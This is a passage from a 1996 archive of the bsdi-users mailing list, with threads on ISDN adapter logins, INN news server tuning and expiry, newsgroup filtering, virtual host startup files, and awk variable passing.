"November" "1996" "12:29:46" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "13" "Getty and ISDN" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA12156 for ; Tue, 26 Nov 1996 15:31:57 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id PAA18104 for bsdi-users-outgoing; Tue, 26 Nov 1996 15:30:01 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Getty and ISDN Date: Tue, 26 Nov 1996 12:29:46 -0800 (PST) I have just gotten two Adtran XRT's and I trying to get them to answer incoming calls. I can get them to answer, but not ask for a login unless i am using V.120 protocol (SLIP, right?) which hangs up once the ppp shell is started. After talking to Adtran tech support for a few hours and going over my configuration with them, we came to the conclusion that the Adtran expects to begin PPP and *then* ask for login and passwd. Does this sound right? If so, does anyone know of a getty that will allow this? Will mgetty handle this type of login? Amy :) From VM Tue Nov 26 22:55:44 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2225" "Tue" "26" "November" "1996" "21:25:23" "+0100" "david@isdnet.net" "david@isdnet.net" nil "62" "Re: INN misc. (was Re: Inn: articles no longer in history file)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA12423 for ; Tue, 26 Nov 1996 15:42:32 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id PAA18073 for bsdi-users-outgoing; Tue, 26 Nov 1996 15:24:39 -0500 (EST) Message-Id: <199611262025.VAA25791@emma.isdnet.net> In-Reply-To: <199611261915.UAA21906@velo.pp.vix.com> from "James A. Brister" at Nov 26, 96 08:15:06 pm X-NCC-RegID: fr.isdnet X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: david@isdnet.net Sender: owner-bsdi-users@lists.gateway.com To: brister@vix.com (James A. Brister) Cc: david@isdnet.net, blast@broder.com, bsdi-users@BSDI.COM Subject: Re: INN misc. (was Re: Inn: articles no longer in history file) Date: Tue, 26 Nov 1996 21:25:23 +0100 (MET) > On Tue, 26 Nov 1996 18:12:29 +0100 (MET), david@isdnet.net said: > > > I have 3 HD on each host: a 2GB and 2 4GB (all Quantum Atlas). > > 2GB is for /usr (so history file). > > That is probably impacting performance. What is impacting perf ? To only have 3 differents HDs ??? > > 4GB for alt.binaries > > 4GB for what's left. > > > I have no overview as far as I know. > > The sample newsfeeds file from a bsd/os 2.1 machine I just looked at didn't > have an entry for it. Using overview takes up a fair bit of disk space (an > extra 10% I think), but it also reduces the load on your system if you have > lots of readers (also makes response better for the readers). I recommend > you add overview, but run it on its own disk, or at least away from the > article spool. The FAQ > > ftp.xlink.net:/pub/news/docs > > has a cookbook example of setting it up > > Subject: (4.19) Cookbook example of setting up NOV ("overchan"). > > I highly recommend you read the entire FAQ and the Install.ms document in > the INN source pool. Will try overchan. But my real problems are why my news2 seems to be unable to handle an ethernet feed from my news1 (which is receiving 3 feeds). The FAQ seems to advice to try logfile, instead of stdin, but I'd like to solve why my less loaded news2 can't handle the feed from my news1, receiving 3 feeds, and sending 2, all full. My expire takes a long time too. Please, can some of you give me the time it takes to expire, and the number of articles expired out of the total number of articles, and all other significant figures. Thanks a lot, it could help me to define my situation as normal, abnormal, or critical. But I am definitely going to upgrade as this could be the way of the freedom :) > > I'd really like to be able to solve definitely those news servers' problems. > > There is no "defintely" in Usenet. Things eventually break when (for > example) some bozo decides to spam a pirated copy of Windows95 to the > net and your spool finally fills up. > I know that :) I just want to decrease the time I spent on it every day. -- -- David Ponzone - ISDnet - Network Administrator -- Pager: 06 06 41 82 45 Cell: 06 60 61 21 63 Email: david@isdnet.net From VM Tue Nov 26 22:55:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["453" "Tue" "26" "November" "1996" "13:42:50" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "19" "Re: INND blocking of newsgroups " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA12703 for ; Tue, 26 Nov 1996 15:51:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id PAA18148 for bsdi-users-outgoing; Tue, 26 Nov 1996 15:43:11 -0500 (EST) Message-Id: <199611262042.NAA03230@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Tue, 26 Nov 1996 11:32:00 MST." <199611261832.LAA01974@doctor.nl2k.edmonton.ab.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: The Doctor cc: bsdi-users@BSDI.COM Subject: Re: INND blocking of newsgroups Date: Tue, 26 Nov 1996 13:42:50 -0700 The Doctor writes: >Question: > >how can one block incoming groups that one does NOT want? Your news feeds should do this for you. They have an entry for your site in their "newsfeeds" file. In this entry they specify the groups you want and the groups you don't want. This example entry says send all alt groups except for the alt.foo groups. mynewssite\ :alt.*,!alt.foo.*\ :Tc,Wnm:/news/bin/nntplink -i stdin mynewssite -Bill N From VM Tue Nov 26 22:55:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["578" "Tue" "26" "November" "1996" "12:44:47" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "19" "Re: netstart entries" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA12708 for ; Tue, 26 Nov 1996 15:51:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id PAA18162 for bsdi-users-outgoing; Tue, 26 Nov 1996 15:45:22 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: Ralph Huntington cc: Helen Birkmann , Jim Cassata , bsdi-users@BSDI.COM Subject: Re: netstart entries Date: Tue, 26 Nov 1996 12:44:47 -0800 (PST) On Tue, 26 Nov 1996, Ralph Huntington wrote: > > Now since I have put my virtual host list at the bottom of the > > netstart file and they all come up after reboot. > > I put all virtual host configs into /etc/rc.local. Does anyone > have any insight into whether one way is better than the other. > > Ralph > I use /etc/rc.local also, only because I want to make sure everything is up and going before I config virtuals. I suppose the end of /etc/netstart would also work just as well because then the local net is still configured before the virtuals are. Amy :) From VM Tue Nov 26 22:55:47 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["573" "Tue" "26" "November" "1996" "12:36:55" "-0800" "Tony Wagner" "tonyw@bytes.net" nil "21" "Re: INND blocking of newsgroups" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA12984 for ; Tue, 26 Nov 1996 16:02:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id PAA18127 for bsdi-users-outgoing; Tue, 26 Nov 1996 15:37:09 -0500 (EST) X-Sender: tonyw@jaguar.datacomm.com In-Reply-To: <199611261832.LAA01974@doctor.nl2k.edmonton.ab.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Tony Wagner Sender: owner-bsdi-users@lists.gateway.com To: The Doctor cc: bsdi-users@BSDI.COM Subject: Re: INND blocking of newsgroups Date: Tue, 26 Nov 1996 12:36:55 -0800 (PST) On Tue, 26 Nov 1996, The Doctor wrote: > Question: > > how can one block incoming groups that one does NOT want? Simple ctlinnd pause "updating active" remove them from the active file. ctlinnd reload active "removed unwanted groups" ctlinnd go "updating active" Tony Wagner ------------------------------------------------------------------------------ tonyw@datacomm.com [home network] tonyw@Bytes.net [work network] [Home] 503-224-6900 , [Office] 503-224-2169, [Fax] 503-253-7212 ----------------------------------------------------------------------------- From VM Tue Nov 26 22:55:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1090" "Tue" "26" "November" "1996" "14:00:28" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "24" "Re: Getty and ISDN" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA14921 for ; Tue, 26 Nov 1996 17:16:02 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id RAA18397 for bsdi-users-outgoing; Tue, 26 Nov 1996 17:05:20 -0500 (EST) Message-Id: <199611262200.OAA01208@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, root@internet-frontier.net Subject: Re: Getty and ISDN Date: Tue, 26 Nov 1996 14:00:28 -0800 (PST) > I have just gotten two Adtran XRT's and I trying to get them to answer > incoming calls. I can get them to answer, but not ask for a login unless > i am using V.120 protocol (SLIP, right?) which hangs up once the ppp > shell is started. After talking to Adtran tech support for a few hours > and going over my configuration with them, we came to the conclusion that > the Adtran expects to begin PPP and *then* ask for login and passwd. > > Does this sound right? If so, does anyone know of a getty that will allow > this? Will mgetty handle this type of login? > V.120 is not SLIP, its basically a framing protocol used in TAs and other ISDN devices. The main thing is that they want to start PPP and then ask for a password they are using PAP (or maybe CHAP). In order to do that with BSD/OS you will need version 3.0 which supports these protocols. Earlier versions of the code do not. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Tue Nov 26 22:55:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1301" "Tue" "26" "November" "1996" "14:08:06" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "31" "Re: Getty and ISDN" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA14925 for ; Tue, 26 Nov 1996 17:16:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id RAA18409 for bsdi-users-outgoing; Tue, 26 Nov 1996 17:08:33 -0500 (EST) In-Reply-To: <199611262200.OAA01208@webb-home.chelmsford.telebit.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: Bill Webb cc: bsdi-users@BSDI.COM Subject: Re: Getty and ISDN Date: Tue, 26 Nov 1996 14:08:06 -0800 (PST) On Tue, 26 Nov 1996, Bill Webb wrote: > > I have just gotten two Adtran XRT's and I trying to get them to answer > > incoming calls. I can get them to answer, but not ask for a login unless > > i am using V.120 protocol (SLIP, right?) which hangs up once the ppp > > shell is started. After talking to Adtran tech support for a few hours > > and going over my configuration with them, we came to the conclusion that > > the Adtran expects to begin PPP and *then* ask for login and passwd. > > > > Does this sound right? If so, does anyone know of a getty that will allow > > this? Will mgetty handle this type of login? > > > > V.120 is not SLIP, its basically a framing protocol used in TAs and other > ISDN devices. > > The main thing is that they want to start PPP and then ask for a password > they are using PAP (or maybe CHAP). In order to do that with BSD/OS you > will need version 3.0 which supports these protocols. Earlier versions > of the code do not. > > Bill Webb. Telebit NetBlazer Software Development Group So the ISDN device itself wants PAP or CHAP ? I thought it would hand off the connection, once established, to the computer, just like my analog modems. I didnt think the ISDN device did that much. Thats just as bad as BSDI not supporting PAP or CHAP. Amy :) From VM Tue Nov 26 22:55:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["790" "Tue" "26" "November" "1996" "14:09:03" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "22" "Re: Getty and ISDN" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA14935 for ; Tue, 26 Nov 1996 17:18:03 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id RAA18429 for bsdi-users-outgoing; Tue, 26 Nov 1996 17:09:17 -0500 (EST) In-Reply-To: <199611262200.OAA01208@webb-home.chelmsford.telebit.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: Bill Webb cc: bsdi-users@BSDI.COM Subject: Re: Getty and ISDN Date: Tue, 26 Nov 1996 14:09:03 -0800 (PST) On Tue, 26 Nov 1996, Bill Webb wrote: > > I have just gotten two Adtran XRT's and I trying to get them to answer > > incoming calls. I can get them to answer, but not ask for a login unless > > i am using V.120 protocol (SLIP, right?) which hangs up once the ppp > > shell is started. After talking to Adtran tech support for a few hours > > and going over my configuration with them, we came to the conclusion that > > the Adtran expects to begin PPP and *then* ask for login and passwd. > > > > Does this sound right? If so, does anyone know of a getty that will allow > > this? Will mgetty handle this type of login? > > > > V.120 is not SLIP, its basically a framing protocol used in TAs and other > ISDN devices. > Is there anyway i can use V.120 with a PPP shell? Amy :) From VM Tue Nov 26 22:56:00 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2436" "Tue" "26" "November" "1996" "14:34:35" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "51" "Re: Getty and ISDN" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA16029 for ; Tue, 26 Nov 1996 17:56:13 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id RAA18554 for bsdi-users-outgoing; Tue, 26 Nov 1996 17:39:25 -0500 (EST) Message-Id: <199611262234.OAA01319@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: root@internet-frontier.net Cc: bsdi-users@BSDI.COM Subject: Re: Getty and ISDN Date: Tue, 26 Nov 1996 14:34:35 -0800 (PST) > > > > I have just gotten two Adtran XRT's and I trying to get them to answer > > > incoming calls. I can get them to answer, but not ask for a login unless > > > i am using V.120 protocol (SLIP, right?) which hangs up once the ppp > > > shell is started. After talking to Adtran tech support for a few hours > > > and going over my configuration with them, we came to the conclusion that > > > the Adtran expects to begin PPP and *then* ask for login and passwd. > > > > > > Does this sound right? If so, does anyone know of a getty that will allow > > > this? Will mgetty handle this type of login? > > > > > > > V.120 is not SLIP, its basically a framing protocol used in TAs and other > > ISDN devices. > > > > The main thing is that they want to start PPP and then ask for a password > > they are using PAP (or maybe CHAP). In order to do that with BSD/OS you > > will need version 3.0 which supports these protocols. Earlier versions > > of the code do not. > > > > Bill Webb. Telebit NetBlazer Software Development Group > > So the ISDN device itself wants PAP or CHAP ? I thought it would hand off > the connection, once established, to the computer, just like my analog > modems. I didnt think the ISDN device did that much. > Thats just as bad as BSDI not supporting PAP or CHAP. No, the V1.20 is what the adtran is talking over the ISDN connection. It is neither SLIP nor PPP, but it can carry either SLIP or PPP connections. Its analogous to the low-level eithernet packet framing that can carry either IP, or IPX, or other format packets. Basically if both TAs are talking V.120 then it shouldn't make any difference what higher level protocols are carried on it. In theory, the TA doesn't care what SLIP or PPP format is used on top of it (except that some TA's will translate sync-PPP into async-PPP formats, but that probably doesn't apply here). It would only apply if the other end expects a "sync" PPP connection, and the BSD/OS PPP expects async format PPP. Then the Adtran would have to translate from one to the other, and it might not like regular async being sent initially to do the login. If it does apply that would explain why the Adtran cares about the PPP format and when authentication happens. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Tue Nov 26 22:56:01 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2742" "Tue" "26" "November" "1996" "14:46:11" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "57" "Re: Getty and ISDN" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA16034 for ; Tue, 26 Nov 1996 17:56:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id RAA18565 for bsdi-users-outgoing; Tue, 26 Nov 1996 17:46:40 -0500 (EST) In-Reply-To: <199611262234.OAA01319@webb-home.chelmsford.telebit.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: Bill Webb cc: bsdi-users@BSDI.COM Subject: Re: Getty and ISDN Date: Tue, 26 Nov 1996 14:46:11 -0800 (PST) > > > > I have just gotten two Adtran XRT's and I trying to get them to answer > > > > incoming calls. I can get them to answer, but not ask for a login unless > > > > i am using V.120 protocol (SLIP, right?) which hangs up once the ppp > > > > shell is started. After talking to Adtran tech support for a few hours > > > > and going over my configuration with them, we came to the conclusion that > > > > the Adtran expects to begin PPP and *then* ask for login and passwd. > > > > > > > > Does this sound right? If so, does anyone know of a getty that will allow > > > > this? Will mgetty handle this type of login? > > > > > > > > > > V.120 is not SLIP, its basically a framing protocol used in TAs and other > > > ISDN devices. > > > > > > The main thing is that they want to start PPP and then ask for a password > > > they are using PAP (or maybe CHAP). In order to do that with BSD/OS you > > > will need version 3.0 which supports these protocols. Earlier versions > > > of the code do not. > > > > > > Bill Webb. Telebit NetBlazer Software Development Group > > > > So the ISDN device itself wants PAP or CHAP ? I thought it would hand off > > the connection, once established, to the computer, just like my analog > > modems. I didnt think the ISDN device did that much. > > Thats just as bad as BSDI not supporting PAP or CHAP. > > No, the V1.20 is what the adtran is talking over the ISDN connection. It is > neither SLIP nor PPP, but it can carry either SLIP or PPP connections. > > Its analogous to the low-level eithernet packet framing that can carry either > IP, or IPX, or other format packets. > > Basically if both TAs are talking V.120 then it shouldn't make any difference > what higher level protocols are carried on it. > > In theory, the TA doesn't care what SLIP or PPP format is used on > top of it (except that some TA's will translate sync-PPP into > async-PPP formats, but that probably doesn't apply here). It would only apply if > the other end expects a "sync" PPP connection, and the BSD/OS PPP expects async > format PPP. Then the Adtran would have to translate from one to the other, and it > might not like regular async being sent initially to do the login. > > If it does apply that would explain why the Adtran cares about the PPP format > and when authentication happens. > > Bill Webb. Telebit NetBlazer Software Development Group > Email: webb@telebit.com WWW: http://www.telebit.com/~webb > -- above opinions are my own, not necessarily those of my employer -- > I tried setting the protocol to V.120 and the Adtran guy called in with his set to V.120 and it allowed him to login but as soon as ppp started, the ISDN unit on my end hung up. Any ideas as to why? Amy :) From VM Tue Nov 26 22:56:01 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["745" "Tue" "26" "November" "1996" "14:45:38" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "18" "Re: Getty and ISDN" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA16038 for ; Tue, 26 Nov 1996 17:58:00 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id RAA18573 for bsdi-users-outgoing; Tue, 26 Nov 1996 17:50:36 -0500 (EST) Message-Id: <199611262245.OAA01346@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: root@internet-frontier.net Cc: bsdi-users@BSDI.COM Subject: Re: Getty and ISDN Date: Tue, 26 Nov 1996 14:45:38 -0800 (PST) > I tried setting the protocol to V.120 and the Adtran guy called in with > his set to V.120 and it allowed him to login but as soon as ppp started, > the ISDN unit on my end hung up. > Any ideas as to why? > Sounds like you need help from somebody at Adtran that has a deeper understanding of exactly how their unit works. Ask the Adtran guy to escalate the problem to somebody who knows more about their unit. My guess is that the adtran expects to be in either ASCII or packet mode and doesn't handle the transition in the middle of the session. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Tue Nov 26 22:56:02 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3097" "Tue" "26" "November" "1996" "23:52:40" "+0100" "James A. Brister" "brister@vix.com" nil "77" "Re: INN misc. (was Re: Inn: articles no longer in history file) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA16046 for ; Tue, 26 Nov 1996 17:59:33 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id RAA18581 for bsdi-users-outgoing; Tue, 26 Nov 1996 17:54:18 -0500 (EST) Message-Id: <199611262252.XAA24313@velo.pp.vix.com> In-Reply-To: Your message of "Tue, 26 Nov 1996 21:25:23 +0100 (MET) " <199611262025.VAA25791@emma.isdnet.net> Organization: Internet Software Consortium Precedence: bulk From: brister@vix.com (James A. Brister) Sender: owner-bsdi-users@lists.gateway.com To: david@isdnet.net Cc: blast@broder.com, bsdi-users@BSDI.COM Subject: Re: INN misc. (was Re: Inn: articles no longer in history file) Date: Tue, 26 Nov 1996 23:52:40 +0100 On Tue, 26 Nov 1996 21:25:23 +0100 (MET), david@isdnet.net said: >> On Tue, 26 Nov 1996 18:12:29 +0100 (MET), david@isdnet.net said: >> >> > I have 3 HD on each host: a 2GB and 2 4GB (all Quantum Atlas). >> > 2GB is for /usr (so history file). >> >> That is probably impacting performance. > What is impacting perf ? > To only have 3 differents HDs ??? The history files (there are 3) are the most used files in the news system, so if they're on a disk that's got a lot of other activity, then that is going to slow things down. If money were no object :-) I'd recommend one disk for history to share with rarely used files (like source archives etc)., another file system for overview and another set of disks for article storage. A really full feed is around 3GB a day now, so that should give you an idea of how much space you need. > Will try overchan. > But my real problems are why my news2 seems to be unable to handle an > ethernet feed from my news1 (which is receiving 3 feeds). How similar are they for hardware and software? There are people on this better qualified than me at analysing system performance (I'm just a programmer who imitates a sysadmin from time to time), but you need to look at things like how much paging and swaping is going on, and it seems like you have that on the same disk as the history files. The machine I manage is on the end of a T1. It gets a full feed as well as lots of dns, ftp and http traffic. It's loaded with swap and RAM and has disks dedicated to news. It has no problems (as long as PacBell keeps the circuit up). > Please, can some of you give me the time it takes to expire, and the > number of articles expired out of the total number of articles, and all other > significant figures. Expire itself, *if* you run news.daily with the 'delayrm' argument, should take no more than 5-10 minutes. The actual file removal will take a lot longer, but that happens behind the scenes (with the delayrm argument being used). This report was from a transport system (i.e. no readers and a 2 day expire limit). Expire messages: expire begin Tue Nov 26 03:04:31 PST 1996: (-v1 '-d/usr/news/tmp' '-rExpiring 1 6312 on /usr/news/tmp' -z/var/log/news/expire.rm) Article lines processed 391896 Articles retained 265429 Entries expired 126467 Files unlinked 198238 Old entries dropped 138416 Old entries retained 1658839 expire end Tue Nov 26 03:07:33 PST 1996 > Thanks a lot, it could help me to define my situation as normal, abnormal, or > critical. Not too far beyond normal. > But I am definitely going to upgrade as this could be the way of the > freedom :) Don't get your hopes up too high. If your hardware is such that 1.4 is having a hard time, then 1.5 isn't going to be able to do much better. 1.5 has things that make it a worthwhile upgrade, but performance improvements aren't really one of them. James -- James Brister brister@vix.com Internet Software Consortium http://www.isc.org/isc inn@isc.org From VM Tue Nov 26 22:56:05 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1158" "Tue" "26" "November" "1996" "22:57:24" "+0000" "Dermot Tynan" "dtynan@fws.ilo.dec.com" nil "34" "Re: awk help" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA16597 for ; Tue, 26 Nov 1996 18:12:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id SAA18689 for bsdi-users-outgoing; Tue, 26 Nov 1996 18:10:48 -0500 (EST) Message-Id: <9611262257.AA15103@karpov.fws.ilo.dec.com> In-Reply-To: <01BBDB84.77F17720@fifc19.fia.net> from "Drew Gainor" at Nov 26, 96 10:27:45 am Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: Dermot Tynan Sender: owner-bsdi-users@lists.gateway.com To: dgainor@fia.net (Drew Gainor) Cc: bsdi-users@BSDI.COM Subject: Re: awk help Date: Tue, 26 Nov 1996 22:57:24 +0000 (GMT) Drew Gainor wrote: > > I am writing a script in CShell to insert a line in alphebetically in = > the middle of a file and am having problems passing a variable to awk. > > awk '$2 < gotohere' filename > > works fine but I want to replace goto here with a variable. > ----------------------------------------------- > set gotohere =3D variable > awk '$2 < $gotohere' filename > > Doesn't work The reason for this is the single-quote. If you use a single quote, you instruct the shell not to interpret the string. This is essential otherwise the shell will expand the $2. On the other hand, this means that the shell won't expand '$gotohere' either. Problem. The solution to this (depending on the version of awk that you're using) is to do something like this; awk '$2 < where' where=$gotohere filename Essentially this creates an internal variable called 'where' which is used instead of the shell variable, and assigned on the command line. This should work. However, older versions of awk don't support this. - Der -- Dermot Tynan +353 91 754608 dtynan@ilo.dec.com DTN: 822-4608 AltaVista Internet Software, Galway, Ireland From VM Tue Nov 26 22:56:10 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["973" "Wed" "27" "November" "1996" "10:05:17" "+1030" "Stavros Patiniotis" "stavros@bang.esc.net.au" nil "33" "Re: netstart entries" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA17424 for ; Tue, 26 Nov 1996 18:41:46 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id SAA18830 for bsdi-users-outgoing; Tue, 26 Nov 1996 18:36:06 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Stavros Patiniotis Sender: owner-bsdi-users@lists.gateway.com To: Ralph Huntington cc: Helen Birkmann , Jim Cassata , bsdi-users@BSDI.COM Subject: Re: netstart entries Date: Wed, 27 Nov 1996 10:05:17 +1030 (CST) Ralph, > > Now since I have put my virtual host list at the bottom of the > > netstart file and they all come up after reboot. > > I put all virtual host configs into /etc/rc.local. Does anyone > have any insight into whether one way is better than the other. > Just going on what BSDI say in their file /etc/netstart ... # Add commands to start additional interfaces AFTER this line This is about half way in the file. It may be better to have them here as to have BSDI run them before it configures the loop back! Have a look. Regards, Stavros Patiniotis ------------------------------------------------------------------------------ -System Administrator / Network Manager Escape.Net - - 465b South Rd - -email: stavros@esc.net.au Keswick SA 5035 - -URL: http://www.esc.net.au Ph 82932526 Fax 82932949- ------------------------------------------------------------------------------ From VM Tue Nov 26 22:56:10 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["805" "Wed" "27" "November" "1996" "10:19:50" "+1030" "Stavros Patiniotis" "stavros@bang.esc.net.au" nil "21" "Re: netstart entries" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA17643 for ; Tue, 26 Nov 1996 18:51:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id SAA18890 for bsdi-users-outgoing; Tue, 26 Nov 1996 18:50:49 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Stavros Patiniotis Sender: owner-bsdi-users@lists.gateway.com To: Amy cc: Ralph Huntington , Helen Birkmann , Jim Cassata , bsdi-users@BSDI.COM Subject: Re: netstart entries Date: Wed, 27 Nov 1996 10:19:50 +1030 (CST) Amy, > I use /etc/rc.local also, only because I want to make sure everything is > up and going before I config virtuals. I suppose the end of /etc/netstart > would also work just as well because then the local net is still > configured before the virtuals are. I found that if you add them at the end of the /etc/netstart file, your loopback interface doesn't work. Regards, Stavros Patiniotis ------------------------------------------------------------------------------ -System Administrator / Network Manager Escape.Net - - 465b South Rd - -email: stavros@esc.net.au Keswick SA 5035 - -URL: http://www.esc.net.au Ph 82932526 Fax 82932949- ------------------------------------------------------------------------------ From VM Tue Nov 26 22:56:12 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["316" "Tue" "26" "November" "1996" "18:57:10" "-0500" "marxx@saturn.superlink.net" "marxx@saturn.superlink.net" nil "16" "100BaseT/TX support in BSD/OS 2.1" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA17710 for ; Tue, 26 Nov 1996 18:56:06 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id SAA18901 for bsdi-users-outgoing; Tue, 26 Nov 1996 